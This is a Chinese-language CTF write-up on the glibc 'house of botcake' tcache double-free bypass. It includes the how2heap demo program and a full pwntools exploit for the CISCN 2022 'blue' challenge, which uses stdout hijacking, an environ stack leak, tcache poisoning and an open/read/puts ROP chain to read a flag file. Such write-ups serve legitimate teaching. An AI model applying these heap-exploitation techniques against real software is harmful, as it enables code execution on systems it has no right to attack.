glibc高版本2.27之后,简单的tcache bin double free不能实现 因为引入了对tcache key的检查 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 size_t tc_idx = csize2tidx (size);if (tcache != NULL && tc_idx < mp_.tcache_bins) { tcache_entry *e = (tcache_entry *) chunk2mem (p);}if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2 , e, tc_idx);for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2" ); }
当 free 掉一个堆块进入 tcache 时 假如堆块的 bk 位存放的 key == tcache_key 就会遍历这个大小的 Tcache,假如发现同地址的堆块,则触发 Double Free 报错。
以下程序来自how2heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <assert.h> int main () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); intptr_t stack_var[4 ]; printf ("the target address is %p.\n\n" , stack_var); intptr_t *x[7 ]; for (int i=0 ; i<sizeof (x)/sizeof (intptr_t *); i++){ x[i] = malloc (0x100 ); } puts ("Allocating a chunk for later consolidation" ); intptr_t *prev = malloc (0x100 ); puts ("Allocating the victim chunk." ); intptr_t *a = malloc (0x100 ); printf ("malloc(0x100): a=%p.\n" , a); malloc (0x10 ); for (int i=0 ; i<7 ; i++){ free (x[i]); } free (a); free (prev); malloc (0x100 ); free (a); intptr_t *b = malloc (0x120 ); b[0x120 /8 -2 ] = (long )stack_var; puts ("Now we can cash out the target chunk." ); malloc (0x100 ); intptr_t *c = malloc (0x100 ); printf ("The new chunk is at %p\n" , c); assert(c==stack_var); printf ("Got control on target/stack!\n\n" ); return 0 ; }
运行结果 实际使用看例题
[CISCN 2022 华东北]blue 一键四连 check,每次进menu前都会检查malloc_hook free_hook有没有被劫持 检查不通过就会调用_exit(不能用exit_hook劫持) add限制size <=0x90 del是一个正常的delete,无UAF show仅可以调用一次 输入666可以进入仅有一次的UAF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 for i in range (9 ): add(0x80 , b'aa' ) add(0x80 , b'aa' )for i in range (7 ): delete(i) magic(8 ) delete(7 ) add(0x80 , b'aa' ) delete(8 ) add(0x70 , b'bb' )
准备house_of_botcake(此处忽略leak_libc_base)
1 2 3 4 stdout = libc_base + libc.sym['_IO_2_1_stdout_' ] p1 = p64(0 ) + p64(0x91 ) + p64(stdout) add(0x70 , p1) add(0x80 , b'cc' )
利用堆重叠,将堆块分配到stdout处 ,此时的堆结构,三个堆块叠叠乐
1 2 3 4 5 environ = libc_base + libc.sym['environ' ] p2 = p64(0xfbad1800 ) + p64(0 ) * 3 + p64(environ) + p64(environ + 8 ) * 2 add(0x80 , p2) stack_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x128
借助stdout泄露environ中的栈地址,以此获得add的ret地址 这两步实际上是覆写了stdout中的flags标志(绕过检查),以及将write_base和write_ptr & write_end改成environ和environ + 8
1 2 3 4 5 6 delete(3 ) delete(2 ) p3 = p64(0 ) + p64(0x91 ) + p64(stack_addr) add(0x70 , p3) add(0x80 , 'dd' )
再打一次tcache poisoning,把下一个堆块分配到栈上
1 2 3 4 5 6 7 8 9 10 p4 = b'./flag\x00\x00' p4 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0 ) + p64(open_addr) p4 += p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(stack_addr + 0x200 ) + p64(pop_rdx_ret) + p64(0x50 ) + p64(read_addr) p4 += p64(pop_rdi_ret) + p64(stack_addr + 0x200 ) + p64(puts_addr) add(0x80 , p4)
在栈上布置orw的ropchain,由于add的ret地址已经遭到篡改,ret的时候会直接跳到栈上执行ropchain 本地打通:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from pwn import *from pwn import p64,u64 p = process("./pwn" ) elf = ELF("./pwn" ) libc = ELF("./libc.so.6" ) context(os='linux' , arch='amd64' , log_level='debug' )def debug (): gdb.attach(p) pause()def add (size,payload ): p.recvuntil('Choice: ' ) p.sendline(b'1' ) p.recvuntil(b'Please input size: ' ) p.sendline(str (size)) p.recvuntil(b'Please input content: ' ) p.send(payload)def delete (index ): p.recvuntil("Choice: " ) p.sendline(b'2' ) p.recvuntil(b'Please input idx: ' ) p.sendline(str (index))def show (index ): p.recvuntil("Choice: " ) p.sendline(b'3' ) p.recvuntil(b"Please input idx: " ) p.sendline(str (index))def magic (index ): p.recvuntil("Choice: " ) p.sendline(b'666' ) p.recvuntil(b"Please input idx: " ) p.sendline(str (index))for i in range (9 ): add(0x80 , b'aa' ) add(0x80 , b'aa' )for i in range (7 ): delete(i) magic(8 ) show(8 ) show_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) success('show_addr = ' + hex (show_addr)) libc_base = show_addr - 0x1ecbe0 stdout = libc_base + libc.sym['_IO_2_1_stdout_' ] success('stdout = ' + hex (stdout)) environ = libc_base + libc.sym['environ' ] success('environ = ' + hex (environ)) delete(7 ) add(0x80 , b'aa' ) delete(8 ) add(0x70 , b'bb' ) p1 = p64(0 ) + p64(0x91 ) + p64(stdout) add(0x70 , p1) add(0x80 , b'cc' ) debug() p2 = p64(0xfbad1800 ) + p64(0 ) * 3 + p64(environ) + p64(environ + 8 ) * 2 add(0x80 , p2) stack_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x128 success('stack_addr = ' + hex (stack_addr)) delete(3 ) delete(2 ) p3 = p64(0 ) + p64(0x91 ) + p64(stack_addr) add(0x70 , p3) add(0x80 , 'dd' ) read_addr = libc_base + libc.sym['read' ] open_addr = libc_base + libc.sym['open' ] write_addr = libc_base + libc.sym['write' ] pop_rdi_ret = libc_base + 0x0000000000023b6a pop_rsi_ret = libc_base + 0x000000000002601f pop_rdx_ret = libc_base + 0x0000000000142c92 flag_addr = stack_addr p4 = b'./flag\x00\x00' p4 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0 ) + p64(open_addr) p4 += p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(stack_addr + 0x200 ) + p64(pop_rdx_ret) + p64(0x50 ) + p64(read_addr) puts_addr = libc_base + libc.sym['puts' ] p4 += p64(pop_rdi_ret) + p64(stack_addr + 0x200 ) + p64(puts_addr) add(0x80 , p4) p.interactive()